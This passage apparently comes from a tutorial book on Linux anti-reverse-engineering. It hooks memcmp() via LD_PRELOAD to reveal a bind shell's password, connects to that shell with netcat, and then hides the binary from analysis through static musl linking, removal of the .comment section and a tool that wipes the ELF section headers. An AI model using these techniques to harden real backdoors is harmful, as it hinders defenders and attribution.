= 3
[pid 21492] close(4)
= 0
[pid 21492] +++ exited (status 1) +++
[pid 21490] --- SIGCHLD (Child exited) ---

Towards the end of this trace you can see a call to memcmp() and the first parameter
is the very familiar address of 0x400f00 (aka s_password). ltrace is able to record these
calls by using ptrace to insert breakpoints at the beginning of the loaded functions
. In later chapters, youll learn how to prevent programs that use ptrace to operate
on Trouble. However, for this section just understand that library tracing is a real
problem for Trouble.

LD_PRELOAD
I mentioned that library tracing via ptrace is something you learn to defeat in
later chapters. However, there is another method for printing out the parameters
to memcmp(). By using the dynamic linkers LD_PRELOAD option, you can load
your own library before the other shared objects, like libc.so, are loaded. That means
https://www.kernel.org/doc/ols/2007/ols2007v1-pages-41-52.pdf
man ld.so

Chapter 2: Compiler Options

that you can introduce your own code to handle memcmp() and your function will
be executed instead of libc.sos.
Ive written code to prove this out. It can be found in the chapter two directory under
ld_preload. The directory contains two files: CMakeLists.txt and catch_memcmp.c.
chap_2_compiler/ld_preload/CMakeLists.txt
project(catch_memcmp.so C)
cmake_minimum_required(VERSION 3.0)
set(CMAKE_C_FLAGS "-Wall -Wextra -Wshadow -fPIC -shared -std=gnu11")
add_executable(${PROJECT_NAME} src/catch_memcmp.c)
target_link_libraries(${PROJECT_NAME} dl)

chap_2_compiler/ld_predload/src/catch_memcmp.c
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <dlfcn.h>
/**
* This program, when used with LD_PRELOAD, will print the values passed into
* memcmp and then pass the values to to the real memcmp. Usage:
*
* LD_PRELOAD=./catch_memcmp.so ../../trouble/build/trouble
*/
int memcmp(const void *s1, const void *s2, size_t n)
{
char* new_s1 = calloc(n + 1, 1);
char* new_s2 = calloc(n + 1, 1);
memcpy(new_s1, s1, n);
memcpy(new_s2, s2, n);
printf("memcmp(%s, %s, %u)\n", new_s1, new_s2, (int)n);
free(new_s1);
free(new_s2);

Chapter 2: Compiler Options

// pass the params to the real memcmp and return the result
int (*original_memcmp)(const void *s1, const void *s2, size_t n);
original_memcmp = dlsym(RTLD_NEXT, "memcmp");
return original_memcmp(s1, s2, n);
}

In catch_memcmp.c, Ive written my own implementation of memcmp(). In the code,

I print out the passed in values. Then I load the real memcmp() function using dlsym()
and finally execute the real original memcmp() so that Trouble still operates as
expected.
To compile this code use CMake.
Compiling catch_memcmp.so
albino-lobster@ubuntu:~/antire_book$ cd chap_2_compiler/ld_preload/
albino-lobster@ubuntu:~/antire_book/chap_2_compiler/ld_preload$ mkdir build
albino-lobster@ubuntu:~/antire_book/chap_2_compiler/ld_preload$ cd build/
albino-lobster@ubuntu:~/antire_book/chap_2_compiler/ld_preload/build$ cmake ..
-- The C compiler identification is GNU 5.4.0
-- Check for working C compiler: /usr/bin/cc
-- Check for working C compiler: /usr/bin/cc -- works
-- Detecting C compiler ABI info
-- Detecting C compiler ABI info - done
-- Detecting C compile features
-- Detecting C compile features - done
-- Configuring done
-- Generating done
-- Build files have been written to: /home/albino-lobster/antire_book/chap_2_compiler\
/ld_preload/build
albino-lobster@ubuntu:~/antire_book/chap_2_compiler/ld_preload/build$ make
Scanning dependencies of target catch_memcmp.so
[ 50%] Building C object CMakeFiles/catch_memcmp.so.dir/src/catch_memcmp.c.o
[100%] Linking C executable catch_memcmp.so
[100%] Built target catch_memcmp.so

As you can see, this generates the shared object catch_memcmp.so. This is the shared
object that youll pass to LD_PRELOAD when you execute Trouble. For example:

Chapter 2: Compiler Options

albino-lobster@ubuntu:~/antire_book/chap_2_compiler/ld_preload/build$ LD_PRELOAD=./ca\
tch_memcmp.so ../../trouble/build/trouble

With Trouble running, attempt to connect to the bind shell on port 1270 with netcat.
You should input a 32 byte string and hit enter. For example:
Passing a bogus password to Trouble
albino-lobster@ubuntu:~$ nc 127.0.0.1 1270
looooooooooooooooooooooooooooool
albino-lobster@ubuntu:~$

The netcat connection should immediately be terminated by Trouble because you

provided a bad password. However, if you look back at the terminal you ran Trouble
from you should see something like this:
catch_memcmp.so reveals s_password
albino-lobster@ubuntu:~/antire_book/chap_2_compiler/ld_preload/build$ LD_PRELOAD=./ca\
tch_memcmp.so ../../trouble/build/trouble
memcmp(TGOEu26TW0k1b9IeXjUJbT1GfCR0jSnl, looooooooooooooooooooooooooooool, 32)

You can clearly see s_password and the bogus string I attempted to use in my netcat
connection have been printed out by catch_memcmp.so.

Using musl
If you want to write a truly hardened binary its best to distrust all of the shared
libraries on the system. This is where the -static flag finally comes into play.
According to the GCC documentation, -static prevents linking with the shared
libraries. However, glibc, the libc version shipped with many major Linux distros,
is really not meant to be statically linked. When we do statically link it, some libc
functionality gets broken and it makes our binary significantlly larger. The fact of
the matter is that glibc simply should not be used for static linking. Luckily, there
are other versions of libc that are intended to be statically linked:
https://gcc.gnu.org/onlinedocs/gcc/Link-Options.html
http://www.etalabs.net/compare_libcs.html

Chapter 2: Compiler Options

1. diet libc
2. uClibc
3. musl libc
For the remainder of this book we will be using musl (pronounced muscle) libc.
Ive chosen musl because it is actively maintained, its easy to install on Ubuntu, and
it works well with CMake.
To install musl on Ubuntu, use apt-get:
Installing musl on Ubuntu 16.04
albino-lobster@ubuntu:~/antire_book$ sudo apt-get install musl-tools musl-dev
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following additional packages will be installed:
musl
Recommended packages:
linux-musl-dev
The following NEW packages will be installed:
musl musl-dev musl-tools
0 upgraded, 3 newly installed, 0 to remove and 45 not upgraded.
Need to get 0 B/780 kB of archives.
After this operation, 3,568 kB of additional disk space will be used.
Do you want to continue? [Y/n] y
Selecting previously unselected package musl:amd64.
(Reading database ... 242454 files and directories currently installed.)
Preparing to unpack .../musl_1.1.9-1_amd64.deb ...
Unpacking musl:amd64 (1.1.9-1) ...
Selecting previously unselected package musl-dev.
Preparing to unpack .../musl-dev_1.1.9-1_amd64.deb ...
Unpacking musl-dev (1.1.9-1) ...
Selecting previously unselected package musl-tools.
Preparing to unpack .../musl-tools_1.1.9-1_amd64.deb ...
Unpacking musl-tools (1.1.9-1) ...
Processing triggers for man-db (2.7.5-1) ...
Setting up musl:amd64 (1.1.9-1) ...

https://www.fefe.de/dietlibc/
https://uclibc.org/
https://www.musl-libc.org/

Chapter 2: Compiler Options

Setting up musl-dev (1.1.9-1) ...

Setting up musl-tools (1.1.9-1) ...

To update Trouble to use the -static flag you just update the compiler flags.
set(CMAKE_C_FLAGS "-Wall -Wextra -Wshadow -s -fvisibility=hidden -O3 -funroll-loops -\
static -std=gnu11")

Also, you need to tell CMake to use a different compiler. Put the following line right
above the CMAKE_C_FLAGS line:
set(CMAKE_C_COMPILER musl-gcc)

And thats it! Now when you compile Trouble youll be using using musl libc instead
of glibc.

Size matters
I wanted to see the size difference between static linking with glibc and
musl libc. I compiled Trouble using each library and the results are really
telling:
ls -l on the glibc version of Trouble
albino-lobster@ubuntu:~/antire_book/chap_2_compiler/trouble/build$ ls -l ./trouble
-rwxrwxr-x 1 albino-lobster albino-lobster 840632 Nov 3 17:32 trouble

ls -l on the musl libc version of Trouble

albino-lobster@ubuntu:~/antire_book/chap_2_compiler/trouble/build$ ls -l ./trouble
-rwxrwxr-x 1 albino-lobster albino-lobster 9560 Nov 3 17:44 ./trouble

There you have it. 840kb vs 9.5kb. A huge difference in size!

You might be asking, how do I know Im no longer using any dynamic libraries? One
way is to check the needed shared librarys listed in the dynamic section. You can
use readelf to this.

Chapter 2: Compiler Options

Troubles dynamic section when using glibc

albino-lobster@ubuntu:~/antire_book/chap_2_compiler/trouble/build$ readelf -d ./troub\
le
Dynamic section at offset 0x1e28 contains 24 entries:
Tag
Type
Name/Value
0x0000000000000001 (NEEDED)
Shared library: [libc.so.6]
0x000000000000000c (INIT)
0x4009d0
0x000000000000000d (FINI)
0x400ed4
0x0000000000000019 (INIT_ARRAY)
0x601e10
8 (bytes)
0x000000000000001b (INIT_ARRAYSZ)
0x000000000000001a (FINI_ARRAY)
0x601e18
0x000000000000001c (FINI_ARRAYSZ)
8 (bytes)
0x000000006ffffef5 (GNU_HASH)
0x400298
0x0000000000000005 (STRTAB)
0x400648
0x0000000000000006 (SYMTAB)
0x400300
0x000000000000000a (STRSZ)
350 (bytes)
0x000000000000000b (SYMENT)
24 (bytes)
0x0000000000000015 (DEBUG)
0x0
0x0000000000000003 (PLTGOT)
0x602000
0x0000000000000002 (PLTRELSZ)
384 (bytes)
0x0000000000000014 (PLTREL)
RELA
0x0000000000000017 (JMPREL)
0x400850
0x0000000000000007 (RELA)
0x400820
0x0000000000000008 (RELASZ)
48 (bytes)
0x0000000000000009 (RELAENT)
24 (bytes)
0x000000006ffffffe (VERNEED)
0x4007f0
0x000000006fffffff (VERNEEDNUM)
1
0x000000006ffffff0 (VERSYM)
0x4007a6
0x0000000000000000 (NULL)
0x0

The first line says that the shared library libc.so.6 is needed. However, after
compiling with musl libc the dynamic section doesnt even exist.

Chapter 2: Compiler Options

Troubles dynamic section when using musl libc

albino-lobster@ubuntu:~/antire_book/chap_2_compiler/trouble/build$ readelf -d ./troub\
le
There is no dynamic section in this file.

Another way to look at a binarys external dependencies is to use ldd.

Using ldd on Trouble with glibc
albino-lobster@ubuntu:~/antire_book/chap_2_compiler/trouble/build$ ldd ./trouble
linux-vdso.so.1 => (0x00007ffca230a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f2870c05000)
/lib64/ld-linux-x86-64.so.2 (0x0000555b3d187000)

Using ldd on Trouble with musl libc

albino-lobster@ubuntu:~/antire_book/chap_2_compiler/trouble/build$ ldd ./trouble
not a dynamic executable

You can see that Trouble had a few external dependencies before musl but after
switching libc versions it doesnt have any dynamic dependencies. Weve stopped
any pesky reverse engineer from using LD_PRELOAD or ltrace on Trouble!

Chapter 3: File Format Hacks

This chapter is all about modifying the ELF data structures after compilation. Having
some understanding of these data structures would be useful in understanding this
chapter. However, I dont think you have to know ELF in order to benefit from this
chapter. You should pick up a good amount as we go.
The main reason Ive not written a primer on ELF for this book is because there are
many good descriptions that already exist. If youd like to brush up on ELF than
check out these resources:
1. man elf
2. https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
3. http://wiki.osdev.org/ELF

The Strip Utility

In chapter two you used the strip compiler option, -s, to remove the .symtab from
Trouble. There exists a post-compilation tool called strip that will do the same thing.
However, the strip utility can do more than remove the symbol table. It can remove
sections from a binary.
What do I mean by remove sections? Take a look at the section headers table in
chapter threes version of Trouble:

Chapter 3: File Format Hacks

Troubles section headers table

albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/trouble/build$ readelf -S ./t\
rouble
There are 13 section headers, starting at offset 0x2218:
Section Headers:
[Nr] Name
Type
Address
Offset
Size
EntSize
Flags Link Info Align
[ 0]
NULL
0000000000000000 00000000
0000000000000000 0000000000000000
0
0
0
[ 1] .init
PROGBITS
0000000000400120 00000120
0000000000000003 0000000000000000 AX
0
0
1
[ 2] .text
PROGBITS
0000000000400130 00000130
000000000000126f 0000000000000000 AX
0
0
16
[ 3] .fini
PROGBITS
000000000040139f 0000139f
0000000000000003 0000000000000000 AX
0
0
1
[ 4] .rodata
PROGBITS
00000000004013c0 000013c0
0000000000000858 0000000000000000
A
0
0
64
[ 5] .eh_frame
PROGBITS
0000000000401c18 00001c18
0000000000000004 0000000000000000
A
0
0
4
[ 6] .init_array
INIT_ARRAY
0000000000601fe8 00001fe8
0000000000000008 0000000000000000 WA
0
0
8
[ 7] .fini_array
FINI_ARRAY
0000000000601ff0 00001ff0
0000000000000008 0000000000000000 WA
0
0
8
[ 8] .jcr
PROGBITS
0000000000601ff8 00001ff8
0000000000000008 0000000000000000 WA
0
0
8
[ 9] .data
PROGBITS
0000000000602000 00002000
0000000000000160 0000000000000000 WA
0
0
64
[10] .bss
NOBITS
0000000000602180 00002160
0000000000000320 0000000000000000 WA
0
0
64
[11] .comment
PROGBITS
0000000000000000 00002160
0000000000000058 0000000000000001 MS
0
0
1
[12] .shstrtab
STRTAB
0000000000000000 000021b8
0000000000000060 0000000000000000
0
0
1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), l (large)
I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
O (extra OS processing required) o (OS specific), p (processor specific)

Notice the .comment section? Thats a really odd name for a section. Lets examine
its contents using objdump.

Chapter 3: File Format Hacks

Contents of .comment
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/trouble/build$ objdump -s --s\
ection .comment ./trouble
./trouble:

file format elf64-x86-64

Contents of section .comment:

0000 4743433a 20285562 756e7475
0010 2e302d36 7562756e 7475317e
0020 342e3229 20352e34 2e302032
0030 36303900 4743433a 20285562
0040 20342e39 2e322d31 37756275
0050 2920342e 392e3200

20352e34
31362e30
30313630
756e7475
6e747531

GCC: (Ubuntu 5.4

.0-6ubuntu1~16.0
4.2) 5.4.0 20160
609.GCC: (Ubuntu
4.9.2-17ubuntu1
) 4.9.2.

Those look like some kind of version strings? To get a cleaner read you can use the
strings utility.
Using strings to get the .comment output
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/trouble/build$ strings -a ./t\
rouble | grep GCC
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.2) 5.4.0 20160609
GCC: (Ubuntu 4.9.2-17ubuntu1) 4.9.2

The first string is the version of GCC thats on Ubuntu 16.04. Honestly, Im not
entirely certain what the second string is all about. Regardless! We dont need or
want this information in our binary. While the information isnt going to aid a
reverse engineer in pulling apart our binary it could help with various attribution
techniques. So lets just remove it. Strip can remove sections via the -R option.

Chapter 3: File Format Hacks

Stripping .comment from Trouble

albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/trouble/build$ readelf -S ./t\
rouble
There are 12 section headers, starting at offset 0x21b8:
Section Headers:
[Nr] Name
Type
Address
Offset
Size
EntSize
Flags Link Info Align
[ 0]
NULL
0000000000000000 00000000
0000000000000000 0000000000000000
0
0
0
[ 1] .init
PROGBITS
0000000000400120 00000120
0000000000000003 0000000000000000 AX
0
0
1
[ 2] .text
PROGBITS
0000000000400130 00000130
000000000000126f 0000000000000000 AX
0
0
16
[ 3] .fini
PROGBITS
000000000040139f 0000139f
0000000000000003 0000000000000000 AX
0
0
1
[ 4] .rodata
PROGBITS
00000000004013c0 000013c0
0000000000000858 0000000000000000
A
0
0
64
[ 5] .eh_frame
PROGBITS
0000000000401c18 00001c18
0000000000000004 0000000000000000
A
0
0
4
[ 6] .init_array
INIT_ARRAY
0000000000601fe8 00001fe8
0000000000000008 0000000000000000 WA
0
0
8
[ 7] .fini_array
FINI_ARRAY
0000000000601ff0 00001ff0
0000000000000008 0000000000000000 WA
0
0
8
[ 8] .jcr
PROGBITS
0000000000601ff8 00001ff8
0000000000000008 0000000000000000 WA
0
0
8
[ 9] .data
PROGBITS
0000000000602000 00002000
0000000000000160 0000000000000000 WA
0
0
64
[10] .bss
NOBITS
0000000000602180 00002160
0000000000000320 0000000000000000 WA
0
0
64
[11] .shstrtab
STRTAB
0000000000000000 00002160
0000000000000057 0000000000000000
0
0
1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), l (large)
I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
O (extra OS processing required) o (OS specific), p (processor specific)

As you can see from the above, not only has .comment been removed from the section
header table, but the next entry, .shstrtab, has been moved up to overwrite when
.comment used to exist.

Chapter 3: File Format Hacks

You dont want to manually execute strip -R after every build though. That would
just be sort of annoying. Luckily, CMake provides the ability to execute commands.
If you add the following command to the end of Troubles CMakeList.txt than the
.comment section will be removed everytime the binary is compiled:
Strip .comment atfter each compilation
add_custom_command(TARGET ${PROJECT_NAME}
POST_BUILD
COMMAND strip -R .comment ${CMAKE_CURRENT_BINARY_DIR}/${PROJECT_NA\
ME})

Removing the Section Headers Table

In the previous section you were looking at the section headers table. The section
headers table is useful for a reverse engineer because it breaks down the binarys
address space into very specific chunks. However, the section headers table isnt
actually needed for execution. You read that right, the section table is not needed!
You can remove it entirely.
Dont take my word for it though. Test it yourself. Consider Troubles ELF header.
Troubles ELF header
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/trouble/build$ readelf -h ./t\
rouble
ELF Header:
Magic:
7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class:
ELF64
Data:
2's complement, little endian
Version:
1 (current)
OS/ABI:
UNIX - System V
ABI Version:
0
Type:
EXEC (Executable file)
Machine:
Advanced Micro Devices X86-64
Version:
0x1
Entry point address:
0x4002f2
Start of program headers:
64 (bytes into file)
Start of section headers:
8632 (bytes into file)
Flags:
0x0

Chapter 3: File Format Hacks

Size of this header:
Size of program headers:
Number of program headers:
Size of section headers:
Number of section headers:
Section header string table index:

64 (bytes)
56 (bytes)
4
64 (bytes)
12
11

There are four variables from the ELF header that are used to find, parse, and display
the section headers table:
1.
2.
3.
4.

Start of sections headers

Size of section headers
Number of section headers
Section header string table index

If you zero out these values then locating or parsing the table would be impossible.
Try opening Trouble in a hex editor (such as ghex) and zero out bytes 0x28, 0x29,
0x3a, 0x3c, and 0x3e. Afterwards Troubles ELF header should look like this:
Updated ELF header
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/trouble/build$ readelf -h ./t\
rouble
ELF Header:
Magic:
7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class:
ELF64
Data:
2's complement, little endian
Version:
1 (current)
OS/ABI:
UNIX - System V
ABI Version:
0
Type:
EXEC (Executable file)
Machine:
Advanced Micro Devices X86-64
Version:
0x1
Entry point address:
0x4002f2
Start of program headers:
64 (bytes into file)
Start of section headers:
0 (bytes into file)
Flags:
0x0
Size of this header:
64 (bytes)
Size of program headers:
56 (bytes)

Chapter 3: File Format Hacks

Number of program headers:
Size of section headers:
Number of section headers:
Section header string table index:

4
0 (bytes)
0
0

As you can see all the section header table values in the ELF headers are set to zero.
Now if readelf tries to read Troubles section header table itll fail.
readelf cant find the section header table
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/trouble/build$ readelf -S ./t\
rouble
There are no sections in this file.

For another example, try Radare2. Before you zeroed out the values in the ELF header
Radare2 listed the sections without issue.
Radare2 sections with intact ELF header
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/trouble/build$ radare2 ./trou\
ble
Warning: Cannot initialize dynamic strings
-- Welcome back, lazy human!
[0x004002f2]> iS
[Sections]
idx=00 vaddr=0x00000000 paddr=0x00000000 sz=0 vsz=0 perm=----- name=
idx=01 vaddr=0x00400120 paddr=0x00000120 sz=3 vsz=3 perm=--r-x name=.init
idx=02 vaddr=0x00400130 paddr=0x00000130 sz=4719 vsz=4719 perm=--r-x name=.text
idx=03 vaddr=0x0040139f paddr=0x0000139f sz=3 vsz=3 perm=--r-x name=.fini
idx=04 vaddr=0x004013c0 paddr=0x000013c0 sz=2136 vsz=2136 perm=--r-- name=.rodata
idx=05 vaddr=0x00401c18 paddr=0x00001c18 sz=4 vsz=4 perm=--r-- name=.eh_frame
idx=06 vaddr=0x00601fe8 paddr=0x00001fe8 sz=8 vsz=8 perm=--rw- name=.init_array
idx=07 vaddr=0x00601ff0 paddr=0x00001ff0 sz=8 vsz=8 perm=--rw- name=.fini_array
idx=08 vaddr=0x00601ff8 paddr=0x00001ff8 sz=8 vsz=8 perm=--rw- name=.jcr
idx=09 vaddr=0x00602000 paddr=0x00002000 sz=352 vsz=352 perm=--rw- name=.data
idx=10 vaddr=0x00602180 paddr=0x00002160 sz=800 vsz=800 perm=--rw- name=.bss
idx=11 vaddr=0x00000000 paddr=0x00002160 sz=88 vsz=88 perm=----- name=.comment
idx=12 vaddr=0x00000000 paddr=0x000021b8 sz=96 vsz=96 perm=----- name=.shstrtab
idx=13 vaddr=0x00400000 paddr=0x00000000 sz=7196 vsz=7196 perm=m-r-x name=LOAD0

Chapter 3: File Format Hacks

idx=14
idx=15
idx=16
idx=17

vaddr=0x00601fe8
vaddr=0x00000000
vaddr=0x00601fe8
vaddr=0x00400000

paddr=0x00001fe8
paddr=0x00000000
paddr=0x00001fe8
paddr=0x00000000

sz=376 vsz=1208 perm=m-rw- name=LOAD1

sz=0 vsz=0 perm=m-rw- name=GNU_STACK
sz=24 vsz=24 perm=m-r-- name=GNU_RELRO
sz=64 vsz=64 perm=m-rw- name=ehdr

Youll notice that Radare2 has combined the section headers table and the program
headers into a sections table. This isnt technically correct, but good enough. If you
look carefully, youll see all the sections from the section headers table that have
virtual addresses (indexes 1-10) map into LOAD0 and LOAD1 from the program
headers. This helps explain why the section headers table isnt needed to execute the
binary. All the necessary information is present in the program headers.
After you zero out the ELF header values, Radare2 can no longer find the section
headers table either.
Radare2 sections with modified ELF header
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/trouble/build$ radare2 ./trou\
ble
Warning: Cannot initialize section headers
Warning: Cannot initialize strings table
Warning: Cannot initialize dynamic strings
-- In Soviet Russia, radare2 has documentation.
[0x00400130]> iS
[Sections]
idx=00 vaddr=0x00400000 paddr=0x00000000 sz=7196 vsz=7196 perm=m-r-x name=LOAD0
idx=01 vaddr=0x00601fe8 paddr=0x00001fe8 sz=376 vsz=1208 perm=m-rw- name=LOAD1
idx=02 vaddr=0x00000000 paddr=0x00000000 sz=0 vsz=0 perm=m-rw- name=GNU_STACK
idx=03 vaddr=0x00601fe8 paddr=0x00001fe8 sz=24 vsz=24 perm=m-r-- name=GNU_RELRO
idx=04 vaddr=0x00400000 paddr=0x00000000 sz=64 vsz=64 perm=m-rw- name=ehdr

However, the table is still there. A clever reverse engineer could scan the binary
for the section headers table data structures. Plus the section names are easily
recoverable using the strings utility.

Chapter 3: File Format Hacks

Finding section names with strings

albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/trouble/build$ strings -a ./t\
rouble
<output truncated>
.shstrtab
.init
.text
.fini
.rodata
.eh_frame
.init_array
.fini_array
.jcr
.data
.bss

Removing the section headers table altogther seems like a smart idea. Not only would
removing the table hide the section information, but it will pave the way for some
trickery introduced later in this chapter.
However, there is no tool that I know of that will remove the section headers table.
Ive had to write out own. In the code for chapter three youll find a directory called
stripBinary. The project is made up of two files: CMakeLists.txt and stripBinary.cpp.
Note that this is our first project written in C++. I personally prefer C++, but your
mileage may vary. The code should be fairly easy to rewrite in C, Python, or your
language of choice.
chap_3_format_hacks/stripBinary/CMakeLists.txt
project(stripBinary CXX)
cmake_minimum_required(VERSION 3.0)
set(CMAKE_CXX_FLAGS "-Wall -Wextra -Wshadow -g")
add_executable(${PROJECT_NAME} ./src/stripBinary.cpp)

Chapter 3: File Format Hacks

chap_3_format_hacks/stripBinary/stripBinary.cpp
#include
#include
#include
#include
#include
#include

/**
* This program will take in a binary and overwrite the sections table with
* zeroes. It will also overwite the sections names with zeroes. Finally, it
* fixes up the ELF header and overwrites the old binary.
*/
/**
* Finds the offset to the sections table.
*
* \param[in] p_data the ELF binary
* \param[in,out] p_sec_count the number of sections in the section table
* \param[in,out] p_str_index the section index of the section strings table
* \return a pointer to the start of the sections table
*/
Elf64_Shdr* find_sections(std::string& p_data, int& p_sec_count, int& p_str_index)
{
if (p_data[0] != 0x7f || p_data[1] != 'E' || p_data[2] != 'L' ||
p_data[3] != 'F')
{
return NULL;
}
Elf64_Ehdr* ehdr = reinterpret_cast<Elf64_Ehdr*>(&p_data[0]);
Elf64_Off section_offset = ehdr->e_shoff;
ehdr->e_shoff = 0;
p_sec_count = ehdr->e_shnum;
ehdr->e_shnum = 0;
p_str_index = ehdr->e_shstrndx;
ehdr->e_shstrndx = 0;
return reinterpret_cast<Elf64_Shdr*>(&p_data[section_offset]);

Chapter 3: File Format Hacks

}
/**
* Overwrites all the section headers with zeros and zeroes out the strings
*
* \param[in] p_data the ELF binary
* \param[in] p_sections a pointer to the first entry in the sections table
* \param[in] p_sec_count the number of entries in the sections table
* \param[in] p_str_index the index of the table we are going to remove
* \return true if we successfully overwrote everything
*/
bool remove_headers(std::string& p_data, Elf64_Shdr* p_sections, int p_sec_count,
int p_str_index)
{
// look through all the headers. Ensure nothing is using the string table
// we plan on removing.
Elf64_Shdr* iter = p_sections;
for (int i = 0; i < p_sec_count; ++i, ++iter)
{
if (iter->sh_link == static_cast<Elf64_Word>(p_str_index))
{
std::cerr << "A section is still linked to the str index: " << iter->sh_l\
ink << std::endl;
return false;
}
if (i == p_str_index)
{
// overwrite the strings
memset(&p_data[iter->sh_offset], 0, iter->sh_size);
}
}
// overwrite the entire table
memset(p_sections, 0, p_sec_count * sizeof(Elf64_Shdr));
return true;
}
int main(int p_argc, char** p_argv)
{
if (p_argc != 2)
{
std::cerr << "Usage: ./stripBinary <file path>" << std::endl;

Chapter 3: File Format Hacks

return EXIT_FAILURE;
}
std::ifstream inputFile(p_argv[1], std::ifstream::in | std::ifstream::binary);
if (!inputFile.is_open() || !inputFile.good())
{
std::cerr << "Failed to ropen the provided file: " << p_argv[1] << std::endl;
return EXIT_FAILURE;
}
std::string input((std::istreambuf_iterator<char>(inputFile)), std::istreambuf_it\
erator<char>());
inputFile.close();
int section_count = 0;
int str_index = 0;
Elf64_Shdr* sections = find_sections(input, section_count, str_index);
if (sections == NULL || reinterpret_cast<char*>(sections) > (input.data() + input\
.length()))
{
std::cerr << "Failed to find the sections table" << std::endl;
return EXIT_FAILURE;
}
if (!remove_headers(input, sections, section_count, str_index))
{
return EXIT_FAILURE;
}
std::ofstream outputFile(p_argv[1], std::ofstream::out | std::ofstream::binary);
if (!outputFile.is_open() || !outputFile.good())
{
std::cerr << "Failed to wopen the provided file: " << p_argv[1] << std::endl;
return EXIT_FAILURE;
}
outputFile.write(input.data(), input.length());
outputFile.close();
return EXIT_SUCCESS;
}

stripBinary.cpp is broken down into three parts:

Chapter 3: File Format Hacks

1. Finding the offset to the section headers table

2. Overwriting the section headers table entries and the section names
3. Writing the updated binary to file
To compile stripBinary, as before, just use CMake.
Compiling stripBinary
albino-lobster@ubuntu:~/antire_book$ cd chap_3_format_hacks/stripBinary/
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/stripBinary$ mkdir build
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/stripBinary$ cd build/
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/stripBinary/build$ cmake ..
-- The CXX compiler identification is GNU 5.4.0
-- Check for working CXX compiler: /usr/bin/c++
-- Check for working CXX compiler: /usr/bin/c++ -- works
-- Detecting CXX compiler ABI info
-- Detecting CXX compiler ABI info - done
-- Detecting CXX compile features
-- Detecting CXX compile features - done
-- Configuring done
-- Generating done
-- Build files have been written to: /home/albino-lobster/antire_book/chap_3_format_h\
acks/stripBinary/build
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/stripBinary/build$ make
Scanning dependencies of target stripBinary
[ 50%] Building CXX object CMakeFiles/stripBinary.dir/src/stripBinary.cpp.o
[100%] Linking CXX executable stripBinary
[100%] Built target stripBinary

Using stripBinary is quite easy as well.

Chapter 3: File Format Hacks

Using stripBinary on Trouble

albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/stripBinary/build$ ./stripBin\
ary ~/antire_book/chap_3_format_hacks/trouble/build/trouble
albino-lobster@ubuntu:~/antire_book/chap_3_format_hacks/stripBinary/build$ readelf -a\
~/antire_book/chap_3_format_hacks/trouble/build/trouble
ELF Header:
Magic:
7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class:
ELF64
Data:
2's complement, little endian
Version:
1 (current)
OS/ABI:
UNIX - System V
ABI Version:
0
Type:
EXEC (Executable file)
Machine:
Advanced Micro Devices X86-64
Version:
0x1
Entry point address:
0x4002f2
Start of program headers:
64 (bytes into file)
Start of section headers:
0 (bytes into file)
Flags:
0x0
Size of this header:
64 (bytes)
Size of program headers:
56 (bytes)
Number of program headers:
4
Size of section headers:
64 (bytes)
Number of section headers:
0
Section header string table index: 0
There are no sections in this file.
There are no sections to group in this file.
Program Headers:
Type
Offset
FileSiz
LOAD
0x0000000000000000
0x0000000000001c1c
LOAD
0x0000000000001fe8
0x0000000000000178
GNU_STACK
0x0000000000000000
0x0000000000000000
GNU_RELRO
0x0000000000001fe8
0x0000000000000018

VirtAddr
MemSiz
0x0000000000400000
0x0000000000001c1c
0x0000000000601fe8
0x00000000000004b8
0x0000000000000000
0x0000000000000000
0x0000000000601fe8
0x0000000000000018

PhysAddr
Flags Align
0x0000000000400000
R E
200000
0x0000000000601fe8
RW
200000
0x0000000000000000
RW
10
0x0000000000601fe8
R
1

Chapter 3: File Format Hacks

There is no dynamic section in this file.

There are no relocations in this file.
The decoding of unwind sections for machine type Advanced Micro Devices X86-64 is not\
currently supported.
Dynamic symbol information is not available for displaying symbols.
No version information found in this file.

Like removing the .comment section, it would be really great to make stripBinary
part of Troubles build process. However, because stripBinary is its own stand alone
CMake project youd need to restructure the Trouble CMake project. Well do so at
the beginning of the next chapter. For now, Ill simply remind you when stripBinary
should be applied to Trouble.

Little Endian or Big Endian?

In the previous section, you learned the section headers table is unnecessary. That
might get you wondering, What else isnt used when executing an ELF binary?
Well, you arent the first to walk down this path. In fact, Brian Raiter wrote an
interesting essay called A Whirlwind Tutorial on Creating Really Teensy ELF
Executables for Linux in which he explores how to create the smallest possible
ELF executable. Part of his exploration involved using the unused space in the ELF
header to store the program headers and some executable code. It is really quite
clever and well worth a read.
One of the fields that Raiter overwrites is the sixth byte in the ELF header. This byte
resides within the e_ident array that makes up the first 16 bytes of any ELF binary.
The sixth byte is called EI_DATA and it indicates the endianness of the binary. The
man page says this about it:

http://www.muppetlabs.com/~breadbox/software/tiny/teensy.html

Chapter 3: File Format Hacks

man elf
EI_DATA

